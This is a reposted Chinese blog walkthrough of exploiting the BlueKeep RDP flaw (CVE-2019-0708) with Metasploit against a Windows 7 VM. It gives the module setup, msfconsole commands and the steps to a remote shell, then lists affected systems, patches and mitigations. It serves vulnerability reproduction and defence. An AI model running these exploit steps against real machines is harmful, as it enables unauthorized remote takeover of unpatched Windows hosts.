CVE-2019-0708 RDP MSF漏洞复现

CVE-2019-0708 RDP MSF漏洞复现

HW,本文转载自清水师傅的文章(https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961)

漏洞环境

使用VMware Fusion安装Windows7 SP1模拟受害机

Windows7 SP1下载链接:ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

Windows7 SP1

EXP

攻击准备:

1,metasploit-framework, kali msf  需更新到最新版本,如果正常打开输入:msfupdate 进行更新,如果启动msf报错,可以卸载重新安装:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

2,MSF更新到最新版本也可不进行此步骤/下载Reference中的攻击套件放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可)

rdp.rb   ->   /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb   ->   /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cve_2019_0708_bluekeep_rce.rb   ->   /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

进行攻击:

使用 msfconsole 进入 metasploit-framework

进入以后使用 reload_all 重新加载 0708rdp 利用模块

使用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 启用 0708RDP 攻击模块

使用 info/show options 查看工具相关信息以及设置

关键设置主要为 RHOSTS\ RPORT \ target

set RHOSTS 受害机IP设置受害机IP

set RPORT 受害机PORT设置受害机RDP端口号

set target ID数字(可选为0-4)设置受害机机器架构

使用的是VMware Fusion,那么target 3满足条件

使用 exploit 开始攻击,等待建立连接

建立连接以后,使用shell获得shell,再使用python获得交互式 shell

随即完成攻击,成功拿到受害者主机权限

Reference

https://github.com/rapid7/metasploit-framework/pull/12283/files

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708

https://pan.baidu.com/s/1q-mbYQFtU1GBuJfThMk8VQ 提取码: mffr

https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961

注:HW有点忙,过段时间补写回来。本篇文章转自清水师傅的文章(https://qiita.com/shimizukawasaki/items/024b296a4c9ae7c33961)

受影响Windows系统版本:
Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP

修复方法:微软已经于2019年05月4日发布了漏洞补丁,请进行相关升级:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
Windows XP 及Windows 2003可以在以下链接下载补丁:https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708

临时解决方案
1、如暂时无法更新补丁,可以通过在系统上启用网络及身份认证(NLA)以暂时规避该漏洞影响。
2、在网络外围防火墙阻断TCP端口3389的连接,或对相关服务器做访问来源过滤,只允许可信IP连接。
3、禁用远程桌面服务。

猜你喜欢

转载自www.cnblogs.com/Oran9e/p/11479575.html